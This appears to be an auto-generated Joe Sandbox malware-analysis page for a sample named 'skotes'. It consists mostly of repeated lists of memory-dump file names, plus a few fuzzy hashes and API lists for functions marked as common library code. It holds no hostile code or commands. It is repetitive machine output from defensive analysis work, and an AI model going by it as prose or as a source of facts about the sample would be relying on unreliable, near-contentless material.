Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 204d84a308b6672854333c050d6817991dae2893660e77e075a3dbfcec51032f
Instruction ID: dfa1fd3fc10346635a2c47c4979335f5947005efbd469372c3b449668fe3a41a
Opcode Fuzzy Hash: 204d84a308b6672854333c050d6817991dae2893660e77e075a3dbfcec51032f
Instruction Fuzzy Hash: 90212C79A00119AFDF05EFA4DC819BEB7B9EF1A710F110025FA05AB261DB709D419BE0

Function 001B9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 001B9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 001B9CE8
std::bad_exception::bad_exception.LIBCMT ref: 001B9CFE
std::bad_exception::bad_exception.LIBCMT ref: 001B9D6A

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: a7fef4850d4cfc525f382a2552e1c02efce9e4f80649cb5407ea69db3b7179f5
Instruction ID: dadf46897cdaa754e9e1a6f772dcc136ff06e5cf7d40fb02a18da9cc9e5de33f
Opcode Fuzzy Hash: a7fef4850d4cfc525f382a2552e1c02efce9e4f80649cb5407ea69db3b7179f5
Instruction Fuzzy Hash: 3021B3759046549FCB04EFA5D982DEEBBF0BF15310B214069F602AB2A1EF31AE03CB51

Function 001BA026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 001BA069

Part of subcall function 001BB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 001BB5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 001BA07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 001BA0CB

Part of subcall function 001BAB41: List.LIBCONCRT ref: 001BAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 001BA0DB

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: b740a772589bb128b331365376e8d35353d1d756109dc496fe976f9d73f9d8ea
Instruction ID: eb950f89853ca0190bb1019ee391d80332396370bd03f0e6c1c6b64e50988b33
Opcode Fuzzy Hash: b740a772589bb128b331365376e8d35353d1d756109dc496fe976f9d73f9d8ea
Instruction Fuzzy Hash: 0521AC31900B159FCB25EF65D9908AFF3F5FF58300B40495EE842A7A51DB70B901CBA2

Function 001B4885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 001B4893
ListArray.LIBCONCRT ref: 001B48A5

Part of subcall function 001B5555: _InternalDeleteHelper.LIBCONCRT ref: 001B5564

ListArray.LIBCONCRT ref: 001B48AF
_InternalDeleteHelper.LIBCONCRT ref: 001B48C8

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 49195ee8f52fea9950057510b812900eba3364b76e3242cf25cbac22af3d0aef
Instruction ID: 72b49e7390fbdd75f11e10aacde821c6718aa4ac87e3c456dc21baf7df742966
Opcode Fuzzy Hash: 49195ee8f52fea9950057510b812900eba3364b76e3242cf25cbac22af3d0aef
Instruction Fuzzy Hash: E901F431600921BFDB25BBA4E8C2FBEB76BBF557107000529F90597A13CF20EC2197A0

Function 001BEE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 001BEE6A
ListArray.LIBCONCRT ref: 001BEE7C

Part of subcall function 001BEF29: _InternalDeleteHelper.LIBCONCRT ref: 001BEF3B

ListArray.LIBCONCRT ref: 001BEE86
_InternalDeleteHelper.LIBCONCRT ref: 001BEE9F

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
